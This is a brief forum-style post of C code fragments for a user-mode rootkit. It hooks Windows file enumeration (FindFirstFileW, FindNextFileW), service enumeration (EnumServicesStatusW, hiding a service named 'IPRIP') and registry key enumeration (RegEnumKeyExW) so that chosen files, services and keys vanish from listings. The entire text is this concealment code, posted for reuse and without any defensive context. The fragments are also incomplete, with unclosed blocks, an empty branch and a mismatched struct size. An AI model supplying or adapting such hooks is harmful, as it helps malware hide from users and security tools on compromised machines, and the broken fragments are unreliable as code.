ring3 hide file reg service

 

//老东西了，贴点主要代码
//隐藏文件,hook FindFirstFileW,FindNextFileW
BOOL bBreak = FALSE;
while(wcsnicmp((WCHAR *)lpFindFileData->cFileName,strHideFile,wcslen(strHideFile))==0)
{
   bBreak = Old_FindNextFileW(hFind,lpFindFileData);
   if(bBreak == FALSE)
    break;
}
while(wcsnicmp((WCHAR *)lpFindFileData->cFileName,strHideFile,wcslen(strHideFile))==0)
{
   bReturn = Old_FindNextFileW(hFindFile,lpFindFileData);
   if(bReturn == FALSE)
    break;
}

////////////////////////////////////////////////////////////
//隐藏服务,hook EnumServicesStatusW
// 将服务从队列中脱去,实现隐藏
for (DWORD dwIndex = 0;dwIndex < *lpServicesReturned; dwIndex ++)
{
   if (wcsnicmp(lpServices[dwIndex].lpServiceName,L"IPRIP",wcslen(L"IPRIP")) == 0)
        //if (wcsnicmp(lpServices[dwIndex].lpServiceName,strHideFile,wcslen(strHideFile)) == 0)
   {
    //向前移动服务列表缓冲区
            if (dwIndex < (*lpServicesReturned) - 1)
    {
     memmove(&lpServices[dwIndex],&lpServices[dwIndex+1],
      sizeof(ENUM_SERVICE_STATUSA)*(*lpServicesReturned - dwIndex - 1));
                (*lpServicesReturned)--;
            }
    else
    {
    }
//////////////////////////////////////////////////////////////////////////
//隐藏注册表,hook RegEnumKeyExW,RegEnumKeyW
if (wcsnicmp(lpName,L"IPRIP",wcslen(L"IPRIP")) == 0)
{
   memset(lpName,0,*lpcbName);
}